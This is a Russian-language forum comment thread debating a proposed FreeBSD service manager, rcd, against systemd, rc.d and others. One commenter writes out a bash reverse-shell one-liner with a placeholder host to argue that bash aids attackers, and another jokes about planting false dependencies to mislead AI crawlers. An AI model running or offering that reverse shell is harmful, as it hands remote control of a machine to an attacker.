	Сообщение от ф1231 (?), 10-Сен-26, 12:39
	и где сейчас ваш соларис?
	Ответить | Правка | К родителю #13 | Наверх | Cообщить модератору

	47. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 13:39
	> и где сейчас ваш соларис? Вдохновил современный инит в Линуксе
	Ответить | Правка | Наверх | Cообщить модератору

	163. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (163), 11-Сен-26, 09:53
	Illumos
	Ответить | Правка | К родителю #35 | Наверх | Cообщить модератору

	278. Скрыто модератором	+/–
	Сообщение от Аноним (276), 11-Сен-26, 20:25
	Первый помощник некроманта, да.
	Ответить | Правка | Наверх | Cообщить модератору

	40. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от yylloc (-), 10-Сен-26, 12:50
	Он гвоздями прибит туда хлеще чем systemd
	Ответить | Правка | К родителю #13 | Наверх | Cообщить модератору

	46. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 13:39
	> Он гвоздями прибит туда хлеще чем systemd Так я говорю равняться на него, а не копировать
	Ответить | Правка | Наверх | Cообщить модератору

	107. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от User (??), 10-Сен-26, 21:30
	Врут. Нет, если вы любите нескучный xml...
	Ответить | Правка | К родителю #13 | Наверх | Cообщить модератору

	110. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от аноним анониму (?), 10-Сен-26, 21:41
	его изобретали, когда кроме xml, ничего не было. он хорош с оговорками: 1. применительно к серверной системе 2. для начала 2000х
	Ответить | Правка | Наверх | Cообщить модератору

	280. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 20:28
	> его изобретали, когда кроме xml, ничего не было. он хорош с оговорками: его изобретали чтоб эти xml'и никогда _руками_ не ковырять. > 1. применительно к серверной системе 2. для начала 2000х ты забыл уточнить - серверной системе на платной поддержке где админ что-то вроде робота, выполняющего непонятные ему команды по телефону. Чем меньше он мог сломать по ошибке - тем лучше.
	Ответить | Правка | Наверх | Cообщить модератору

	123. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 23:16
	> Врут. Нет, если вы любите нескучный xml... Формат дело наживное, я ж не говорю скопировать один в один. Вон в systemd не xml
	Ответить | Правка | К родителю #107 | Наверх | Cообщить модератору

	263. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 18:58
	> Формат дело наживное, я ж не говорю скопировать один в один. Вон > в systemd не xml Там обычный ini вообще. Дешево (парсить) и сердито! А свои задачи - бишь декларативное описание старта юнитов - решает на ура. И как раз отсутствие вот именно что программизма - одна из сильных фич этого. Потому что майнтайнить тюринг-полные художества васянов - это ночной кошмар любого эксплуатанта.
	Ответить | Правка | Наверх | Cообщить модератору

	279. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 20:26
	> Там обычный ini вообще. Дешево (парсить) и сердито! А свои задачи - напомни, какие параметры надо скидывать через =пустоеместо а какие нет? > бишь декларативное описание старта юнитов - решает на ура. ага, вон той чушью. Спасибо, даром не нать. А чуть что посложнее - в ExecStartPre опять пихать шелл-скритик (а в том sleep 150 чтоб чудо-параллельный-супер-инит успел не только быстрозапустить то что нужно, а и оно бы успело сработать)
	Ответить | Правка | Наверх | Cообщить модератору

	296. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:10
	Это вам ini кажется простым форматом, пока вы его парсер не начали писать и не узнали что там есть разные диалекты.
	Ответить | Правка | К родителю #263 | Наверх | Cообщить модератору

	343. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от User (??), 12-Сен-26, 16:26
	> Это вам ini кажется простым форматом, пока вы его парсер не начали > писать и не узнали что там есть разные диалекты. Да это еще полбеды... даже с самым лучшим парсером (Ну, если мы не пилим СОБСТВЕННЫЙ ЛУДШИЙ ДИАЛЕХТ) - сам формат вот... нетипизированный, и большая часть вещей, которая в нормальном случае делается парсером для ini - радостно переезжает вот в логику приложения. Радость-то кака, счастье прям!
	Ответить | Правка | Наверх | Cообщить модератору

18. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от warlock66613 (ok), 10-Сен-26, 11:05
Это наверное круто и правильно, но я не понял зачем это нужно.
Ответить | Правка | Наверх | Cообщить модератору

	22. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от 1 (??), 10-Сен-26, 11:31
	1. Ускорить загрузку 2. Выкинуть monitord
	Ответить | Правка | Наверх | Cообщить модератору

	25. "Для FreeBSD развивают новый системный менеджер rcd"	+3 +/–
	Сообщение от xsignal (ok), 10-Сен-26, 11:39
	> 1. Ускорить загрузку А что, приходится так часто перезагружаться, что это стало узким местом?
	Ответить | Правка | Наверх | Cообщить модератору

	41. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (41), 10-Сен-26, 12:57
	сервер может долго запускаться, какую-нибудь террабайтную базу проверять перед тем как сокеты открыть
	Ответить | Правка | Наверх | Cообщить модератору

	143. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от sunjob (ok), 11-Сен-26, 03:21
	> какую-нибудь террабайтную базу система инициализации ускорит этот процесс?
	Ответить | Правка | Наверх | Cообщить модератору

	44. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (43), 10-Сен-26, 13:13
	Фряха последние годы ориентируется на десктоп (см. laptop project), поэтому там это будет полезно
	Ответить | Правка | К родителю #25 | Наверх | Cообщить модератору

	96. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (92), 10-Сен-26, 20:47
	> Фряха последние годы ориентируется на десктоп А раньше они на что ориентировались? На избегание любой возможности успеха где-либо кроме собственных фантазий?
	Ответить | Правка | Наверх | Cообщить модератору

	70. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (67), 10-Сен-26, 16:01
	1. Оно не сильно поможет: https://wiki.freebsd.org/BootTime
	Ответить | Правка | К родителю #22 | Наверх | Cообщить модератору

	23. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от 1 (??), 10-Сен-26, 11:33
	*monit же !
	Ответить | Правка | К родителю #18 | Наверх | Cообщить модератору

19. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
Сообщение от Аноним (19), 10-Сен-26, 11:14
Лучше б shepherd затащили… а, не, там же лицензия некошерная.
Ответить | Правка | Наверх | Cообщить модератору

	39. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (90), 10-Сен-26, 12:49
	Просто наяривание на скорость загрузки. Впрочем, в Линуксе некоторые тоже этим страдают.
	Ответить | Правка | Наверх | Cообщить модератору

	137. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (-), 11-Сен-26, 00:46
	Никто уже таким не занимается, спокойно ждут по 30 секунд, когда нерабочая сеть по таймауту отвалится.
	Ответить | Правка | Наверх | Cообщить модератору

	134. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Сладкая булочка (?), 11-Сен-26, 00:36
	> Лучше б shepherd затащили… Чем он лучше?
	Ответить | Правка | К родителю #19 | Наверх | Cообщить модератору

	161. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (19), 11-Сен-26, 09:20
	Зависимости, таймеры, пользовательские сервисы, расширяемость, Guile. Ну и да — он уже есть.
	Ответить | Правка | Наверх | Cообщить модератору

	352. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от _ (??), 12-Сен-26, 19:23
	Нет его. Ну сайтик то есть - да, а вот в-живую ты его хоть где нибудь, хоть разочек видел? Я вот не то что его не видел, я не видел никого кто бы его видел ;-) Как то такЪ(С)
	Ответить | Правка | Наверх | Cообщить модератору

26. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
Сообщение от Мемоним (?), 10-Сен-26, 11:43
> написания встроенных обработчиков на языке Lua Заменить баш-портянки на луа-портянки? Ну так себе идея.
Ответить | Правка | Наверх | Cообщить модератору

	59. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 15:02
	Во фре нет BASH по умолчанию и все скрипты пишутся на shell script, он же юзается как /bin/sh для rc.d.
	Ответить | Правка | Наверх | Cообщить модератору

	63. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (90), 10-Сен-26, 15:34
	Ну ну более зашкварный, чем bash.
	Ответить | Правка | Наверх | Cообщить модератору

	66. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (66), 10-Сен-26, 15:44
	По сравнению с bash, posix sh это просто трэш. Но баш можно поставить.
	Ответить | Правка | К родителю #59 | Наверх | Cообщить модератору

	74. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 16:14
	Как пользовательский шелл - да, не удобное. Для скриптов вполне норм.
	Ответить | Правка | Наверх | Cообщить модератору

	97. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (92), 10-Сен-26, 20:48
	> Для скриптов вполне норм. Но только если писать их на lua.
	Ответить | Правка | Наверх | Cообщить модератору

	84. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от OpenEcho (?), 10-Сен-26, 17:46
	> По сравнению с bash, posix sh это просто трэш. Зато у него нет подушки для хакеров в виде башевского bash -i >& /dev/tcp/х.х.х.х/1234 0>&1
	Ответить | Правка | К родителю #66 | Наверх | Cообщить модератору

	98. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (92), 10-Сен-26, 20:49
	Ну не собирай с этими фичами, если тебя ломают постоянно.
	Ответить | Правка | Наверх | Cообщить модератору

	183. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от OpenEcho (?), 11-Сен-26, 11:35
	> если тебя ломают постоянно. Очередной телепат? > Ну не собирай с этими фичами Чудак однако. "Собирают" любители самоделкины, а там где на этоm делают деньги, изпользуют старое правило - use the right tool for a job
	Ответить | Правка | Наверх | Cообщить модератору

	264. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 19:00
	>> По сравнению с bash, posix sh это просто трэш. > Зато у него нет подушки для хакеров в виде башевского > bash -i >& /dev/tcp/х.х.х.х/1234 0>&1 А что - и неткат ты тоже не ставишь? Да и может тогда сеть лучше зарубить совсем? А то мало ли какой там еще софт окажется или хаксор socket() удумает вызывать...
	Ответить | Правка | К родителю #84 | Наверх | Cообщить модератору

	271. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от OpenEcho (?), 11-Сен-26, 19:33
	> А что - и неткат ты тоже не ставишь? Ты вообще понял как это работает? Зачем неткэт? Всё что нужно на пациенте - доступ к башу, который по умолчанию везде доступен для всех юзеров > Да и может тогда сеть лучше зарубить совсем? Жги еще :)
	Ответить | Правка | Наверх | Cообщить модератору

	135. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Сладкая булочка (?), 11-Сен-26, 00:38
	> По сравнению с bash, posix sh это просто трэш. С чего это?
	Ответить | Правка | К родителю #66 | Наверх | Cообщить модератору

	146. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (68), 11-Сен-26, 03:31
	Как там с массивами, уже завезли или $@ хватает каждому?
	Ответить | Правка | Наверх | Cообщить модератору

	215. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Сладкая булочка (?), 11-Сен-26, 13:56
	> Как там с массивами, уже завезли или $@ хватает каждому? А массивы в баше - это не трэш?
	Ответить | Правка | Наверх | Cообщить модератору

	221. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 14:57
	Shell сам по себе трэш. Единственная причина, по которой его не выкинули - обратная совместимость.
	Ответить | Правка | Наверх | Cообщить модератору

	265. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (-), 11-Сен-26, 19:01
	>> Как там с массивами, уже завезли или $@ хватает каждому? > А массивы в баше - это не трэш? Поэтому вот вам некая шляпа с сложными объектами, потенциально вложенными и сбоку бантик^W Lua еще? Так и представляю себе лица эксплуатантов которым обломился кастомизированый сервер на ЭТОМ. Впрочем, тем быстрее они его перекатают на убунту :)
	Ответить | Правка | К родителю #215 | Наверх | Cообщить модератору

	297. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:16
	Вы зря так относитесь к LUA. Он был уже давно и не сильно был известен/популярен. Но именно в последние годы как то резко стал набирать обороты, отчасти потому что в популярных играх встроен и достаточно прост. Лет через 10 подрастёт поколение которое кодило на нём в играх и проектов с ним станет ещё больше. На загончик админов фапающих на луа можете посмотреть в OpenRestry.
	Ответить | Правка | Наверх | Cообщить модератору

	314. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от _ (??), 12-Сен-26, 05:23
	Лет через 10 всем будет по-бороде на ЯП, это какая-то внутренняя штука для ЫЫ-шки. Ну как сейчас ассемблер такая жи штука для компилера. Часто заглядываешь? Вот тот то же ...
	Ответить | Правка | Наверх | Cообщить модератору

	334. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:37
	Сомнительно. Учитывая что все ЫЫ меин апстримы дружно орут: "эй законодатели, держите нас семеро а то щас такой прогресс случится что камня на камне не останется" :) Для читателя между строк: давайте вы поможете нам красиво выйти из положения в котором у нас дальше ничего лучше не получается.
	Ответить | Правка | Наверх | Cообщить модератору

	344. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 12-Сен-26, 16:29
	> Сомнительно. > Учитывая что все ЫЫ меин апстримы дружно орут: "эй законодатели, держите нас > семеро а то щас такой прогресс случится что камня на камне > не останется" :) > Для читателя между строк: давайте вы поможете нам красиво выйти из положения > в котором у нас дальше ничего лучше не получается. А лучше, в общем-то и не надо уже - уровень среднего миддла держит, чего больше-то?
	Ответить | Правка | Наверх | Cообщить модератору

27. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Аноним (27), 10-Сен-26, 12:01
А мне вот интересно, зачем для запуска nginx требуется sshd.
Ответить | Правка | Наверх | Cообщить модератору

	29. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (29), 10-Сен-26, 12:14
	корм для нейросети. боремся как можем
	Ответить | Правка | Наверх | Cообщить модератору

	30. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (29), 10-Сен-26, 12:16
	я бы для статьи туда еще systemd прописал
	Ответить | Правка | Наверх | Cообщить модератору

	51. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (276), 10-Сен-26, 14:07
	Не надо подводить под статью!
	Ответить | Правка | Наверх | Cообщить модератору

	64. "Для FreeBSD развивают новый системный менеджер rcd"	+3 +/–
	Сообщение от Аноним (90), 10-Сен-26, 15:37
	А я бы за systemd статью прописал.
	Ответить | Правка | К родителю #30 | Наверх | Cообщить модератору

	69. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (29), 10-Сен-26, 15:59
	В войне с агентами Скайнета все средства хороши. В открытых публикациях всегда прописывайте sshd и еще по лучше telnet и много другого инересного в зависимости, чтобы у Сканета шарящего по сети созрела убежденность что это всегда необходимо делать.
	Ответить | Правка | Наверх | Cообщить модератору

	95. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (95), 10-Сен-26, 20:45
	Достаточно было бы одного леща прописать одному конкретному немцу, жаль никто не догадался
	Ответить | Правка | К родителю #64 | Наверх | Cообщить модератору

	117. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 21:55
	И авторам раста тоже надо было вовремя успокоительных или упокоительных принять, мир был бы лучше без этого.
	Ответить | Правка | Наверх | Cообщить модератору

	266. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 19:03
	> И авторам раста тоже надо было вовремя успокоительных или упокоительных принять, мир > был бы лучше без этого. Да и любителям RSA за целых две CVE в мокротике - неплохо б ответить тогда. Подставщики фиговы, удружили проприетарным друзьям своей рекламой - а у них там теперь ремотный рут! :)
	Ответить | Правка | Наверх | Cообщить модератору

	298. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:17
	Я даже не знаю что там мокротик изобретал такого. Надо было взять готовый SSH сервер и не лезть туда руками, это не их бизнесс.
	Ответить | Правка | Наверх | Cообщить модератору

31. "Для FreeBSD развивают новый системный менеджер rcd"	+3 +/–
Сообщение от Аноним (31), 10-Сен-26, 12:18
Да неужели? Авторы rcd сделали замену системд здорового человека и без тонны лишнего кода из системд. Такое можно только приветствовать, ещё и обратная совместимость есть.
Ответить | Правка | Наверх | Cообщить модератору

	42. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (41), 10-Сен-26, 12:59
	тссс, сплюнь, может у бсдишников чтото толковое выйдет
	Ответить | Правка | Наверх | Cообщить модератору

	81. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (75), 10-Сен-26, 16:53
	>Да неужели? Авторы rcd сделали замену системд здорового человека и без тонны лишнего кода из системд. Нет, не сделали, а пока "развивают". А вот будет ли оно в конце "развития" выглядеть, как та самая система "здорового человека" - большой вопрос. А наличие встроенного Lua-интерпретатора и своего нескучного NIH формата файлов конфигурации вот уже прямо сейчас позволяет оценить то самое "без тонны лишнего кода", лол.
	Ответить | Правка | К родителю #31 | Наверх | Cообщить модератору

	99. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (92), 10-Сен-26, 20:54
	Какие проблемы с lua? Она в ядре фряхи уже есть, теперь и в ините будет. А там глядишь и систему сборки "пакетов" на неё перепишут.
	Ответить | Правка | Наверх | Cообщить модератору

	116. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 21:53
	А где в ядре фряхи вы видели LUA? Вот в загрузчике он есть и кажется в установщике и вроде всё.
	Ответить | Правка | Наверх | Cообщить модератору

	147. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (68), 11-Сен-26, 03:34
	А да, точно, во фряхе это ещё не осилили. Я всё время путаю FreeBSD и NetBSD, они у меня вечно сливаются в понятие "бесполезная маргинальная ос".
	Ответить | Правка | Наверх | Cообщить модератору

	267. Скрыто модератором	+1 +/–
	Сообщение от Аноним (-), 11-Сен-26, 19:04
	> А да, точно, во фряхе это ещё не осилили. Я всё время > путаю FreeBSD и NetBSD, они у меня вечно сливаются в понятие > "бесполезная маргинальная ос". Ну то-есть ты высказал ценное мнение с умным видом - о штуке которую ты настолько не используешь что публично перепутал сорта этого самого? :)
	Ответить | Правка | Наверх | Cообщить модератору

45. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Аноним (45), 10-Сен-26, 13:33
Ну наконец-то. rc система фри ужасна. То что она должна делать - запускать и следить за сервисами, она не умеет от слова совсем, поэтому эта задача делегируется daemon(8), посмотрите сколько у вас в /usr/local/etc/rc.d скриптов с `command=/usr/sbin/daemon`. В настройке сервисов разброд и шатание - где-то для каждой настройки есть rc переменная, где-то для всего foobar_args, где-то foobar_flags, где-то foobar_params. Где-то поддерживается смена юзера, задание лимитов, смена fib, где-то нет. /etc/rc.conf.d знаете как работает? Думаете можно положить туда кусок конфига и он будет работать как кусок rc.conf как все нормальные .d работают? Хрен. Туда можно положить только конфиг foo.conf для сервиса foo с переменными foo_, и никак иначе. Группировать как удобно - хрен. Зависимости которые сделаны через комментарии в шелл портянках это вообще нечто, но они ещё и криво сделаны, и никто не знает как с ними работать. Там есть, например, точки синхронизации NETWORK и DAEMON, и они идут точно в такой последовательности, потому что демонам нужна полностью поднятая сеть. Но вот появляется какой-нибудь VPN, который демон, значит после network, но при этом он создаёт часть сети и остальные демоны должны запускаться после него! Так не умеем он слова совсем. Короче, без systemd очень плохо. Был какой-то форк, но он нерабочий, поделки типа гню shepherd и не помню как то гoBнецо от plan9 называлось даже рассматривать не стоит.
Ответить | Правка | Наверх | Cообщить модератору

	50. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 14:06
	Следить за сервисами, в том смысле что поднимать упавшие - никогда не было задачей rc.d во фре. /usr/sbin/daemon - сделан и используется СПЕЦИАЛЬНО для приложений где автор не осилил работу в качестве сервиса. Если вам нужно динамическая реакция на VPN или ещё что то - это делается через devd: надо добавить свои скрипты на нужные вам события. > В настройке сервисов разброд и шатание - где-то для каждой настройки есть rc переменная, где-то для всего foobar_args, где-то foobar_flags, где-то foobar_params. Где-то поддерживается смена юзера, задание лимитов, смена fib, где-то нет. Так и сервисы сильно разные. Нужно каждый смотреть отдельно.
	Ответить | Правка | Наверх | Cообщить модератору

	89. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (89), 10-Сен-26, 19:17
	> Следить за сервисами, в том смысле что поднимать упавшие - никогда не было задачей rc.d во фре. Как бы тебе сказать, это всё равно что заявить что никогда не было задачей фри быть пригодной для использования системой. Понимаешь, rc сервисы запускает и перезапускает, с хрена ли не он должен за ними следить? Тем более что больше некому. > /usr/sbin/daemon - сделан и используется СПЕЦИАЛЬНО для приложений где автор не осилил работу в качестве сервиса. Понимаешь какое дело, работу в качестве сервиса уже не должен осиливать никакой автор, потому что запуск в качестве сервиса - дело запускалки сервисов, и только так это можно сделать унифицировано, надёжно и правильно. По другому нельзя, например pid файлы racy по определению, и ничего с этим не сделать. Столько всего нужно сделать при демонизации - перенаправить вывод в логи, закрыть дескрипторы, поменять fib, юзера, группу, задать ulimit, форкнуться два раза - никто это всё правильно сделать не умеет. Был бы rc запускал сервисы только через daemon, пожалуй вопросов было бы меньше - не нужно было бы хотя бы писать бойлерплейт в каждом rc.d скрипте. Но всё равно это было бы набором костылей. > Если вам нужно динамическая реакция на VPN или ещё что то - это делается через devd: надо добавить свои скрипты на нужные вам события. Это бред конечно. Почему если у меня нет динамических интерфейсов bind должен запускаться из init системы, а если есть - из devd? devd должен быть частью init системы, как сделано в systemd. И в rcd есть socket activation которая эту проблему также решает, правда по другому. В rc никакой активации не будет никогда.
	Ответить | Правка | Наверх | Cообщить модератору

	109. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 21:38
	> Как бы тебе сказать, это всё равно что заявить что никогда не было задачей фри быть пригодной для использования системой. А давно ли дистры линуха научились следить и перезапускать? > Понимаешь какое дело, работу в качестве сервиса уже не должен осиливать никакой автор, потому что запуск в качестве сервиса - дело запускалки сервисов, и только так это можно сделать унифицировано, надёжно и правильно. Вы не правы и мир сильно сложнее ваших представлений. > По другому нельзя, например pid файлы racy по определению, и ничего с этим не сделать. Столько всего нужно сделать при демонизации - перенаправить вывод в логи, закрыть дескрипторы, поменять fib, юзера, группу, задать ulimit, форкнуться два раза - никто это всё правильно сделать не умеет. Если вы сами не умеете или боитесь - пользутесь готовым. Я не вижу с этим всем проблем, в том числе и в моих программах. > Был бы rc запускал сервисы только через daemon, пожалуй вопросов было бы меньше Это инит для даунов авторов описан, которые пишут хэлло ворлд аппы и хотят их демонами запускать. Судя по вашм хотелкам вы даже сами ничего не админили, иначе бы знали насколько всё разнообразно конфигурится и что причесать под одну гребёнку не выйдет. > Почему если у меня нет динамических интерфейсов bind должен запускаться из init системы, а если есть - из devd? Наверное потому что вы не разбираетесь в теме, иначе бы повешали его на 0.0.0.0 + :: и не задавали глупых вопросов. devd в данном случае позволяет организовать аналог линуксовых ifup/ifdown хуков, как их использовать решает каждый сам. > devd должен быть частью init системы, как сделано в systemd. Если он вам что то должен - предлагаю самому решать эту проблему, остальных устраивает то что есть. И да, сабж решает проблему ускорения начальной загрузки и не более. Хотя как по мне можно было и rc.d допилить до такого же эффекта. > в rcd есть socket activation Это что? замена inetd?)
	Ответить | Правка | Наверх | Cообщить модератору

	268. Скрыто модератором	–1 +/–
	Сообщение от Аноним (-), 11-Сен-26, 19:12
	> Как бы тебе сказать, это всё равно что заявить что никогда не > было задачей фри быть пригодной для использования системой. Понимаешь, rc сервисы > запускает и перезапускает, с хрена ли не он должен за ними > следить? Тем более что больше некому. Это примерно так и есть: они всегда хотели концепции и вэи, поучать других и проч. Использование в эту формулу не входит. Только синтетический крап, только хардкор. > Понимаешь какое дело, работу в качестве сервиса уже не должен осиливать никакой > автор, потому что запуск в качестве сервиса - дело запускалки сервисов, Ну так авторы сервисов и положили на эти ваши BSD с прибором - сами и костыльте как вам там надо - если надо и костылилка не сломается. > меньше - не нужно было бы хотя бы писать бойлерплейт в > каждом rc.d скрипте. Но всё равно это было бы набором костылей. Внезапно пока вы быковали на s-d линух с оным - BSD с серверов на отлично выпнул. И мало кто активно оперирующий s-d захочет вернуться на sysv. Захотят - необучаемые луддиты, оставщиеся в *nix эпохи своей молодости. > Это бред конечно. Почему если у меня нет динамических интерфейсов bind должен > запускаться из init системы, а если есть - из devd? Потому что в BSD не нашлось архитекта способного посмотреть как это делали другие и придумать что-то адекватное - даже на уровне Лени Поцтера... со всеми академичными фантазиями и рассказами про стройность - лажа в самых базовых системных вещах.
	Ответить | Правка | К родителю #89 | Наверх | Cообщить модератору

	136. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Сладкая булочка (?), 11-Сен-26, 00:39
	> поделки типа гню shepherd Поясни.
	Ответить | Правка | К родителю #45 | Наверх | Cообщить модератору

	205. Скрыто модератором	–1 +/–
	Сообщение от Malinovsky (?), 11-Сен-26, 12:32
	Капец, тебя тяжело читать даже мне. Все каким-то ультимативным тоном, будто заявка на истину в последней инстанции. На деле же это попытка порвать всем мозги. Форк plan9 называется 9front - работает, тупых пользователей ничего делать не просит. Весь говновыхлоп сводится к тому что старая система устарела. Для этого ненужно фигурное размазывание кала по стенке руками практиковать. Создатель замены делает что-то вроде runit или OpenRC, то есть параллельный запуск сервисов и слежение за их работой. В теме уже есть сообщение о том что это такое. Ты давно должен был заглохнуть со своим бухтением кровосос.
	Ответить | Правка | К родителю #45 | Наверх | Cообщить модератору

48. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
Сообщение от Аноним (48), 10-Сен-26, 13:43
Нафиг вы все прицепились к systemd, он не ломает unixway, я хоть и старик мне вообще фиолетово. Куда хлеще симлинки /bin /sbin /lib, и все прожевали, ни один ни пискнул. Такой удар по ремонтопригодности. Если отъезжает /usr, рут вообще остаётся ни с чем, без инструментов.
Ответить | Правка | Наверх | Cообщить модератору

	54. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (54), 10-Сен-26, 14:28
	есть мнение, что на абсолютном большинстве систем и /bin и /usr/bin живут(жили) на одном и том же разделе, так что эта ремонтопригодность была только у тех кто этим отдельно озаботился
	Ответить | Правка | Наверх | Cообщить модератору

	85. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 10-Сен-26, 17:50
	эти люди назывались когда-то - авторы дистрибутивов. Кстати, до определенного момента они таки озабочивались. А потом кто умер, кто подался в агитаторы, а кто забил. А у молодняка в виртуалочке в макоси все свалено в / потому что после запуска теста она вообще больше не нужна.
	Ответить | Правка | Наверх | Cообщить модератору

	269. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (-), 11-Сен-26, 19:15
	> эти люди назывались когда-то - авторы дистрибутивов. > Кстати, до определенного момента они таки озабочивались. Пока это был - единственный комп в городе... > А потом кто умер, кто подался в агитаторы, а кто забил. А потом, видите ли, народ как-то задумался что если компов более 1 то колупаться в полудохлой системе с запрыгом по граблям и эффективностью ниже плинтуса - нафиг надо, если можно все что надо - с соседнего компа с нормальной эффективностью организовать. Или вообще - снапшот откатить за 2 минуты - и сделать вид что факапа никогда не было. Но да, тебе снапшоты на десктопе не надо нормальные, зато - вот - непотребства какие-то чтоб световым мечом помахать. > А у молодняка в виртуалочке в макоси все свалено в / потому > что после запуска теста она вообще больше не нужна. Теперь и правда нет задачи - до упаду пытаться поднять единственный комп в городе т.к. до иного живого компа - сотни километров, и никаких носителей данных и ОС вокруг..
	Ответить | Правка | Наверх | Cообщить модератору

	273. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 19:55
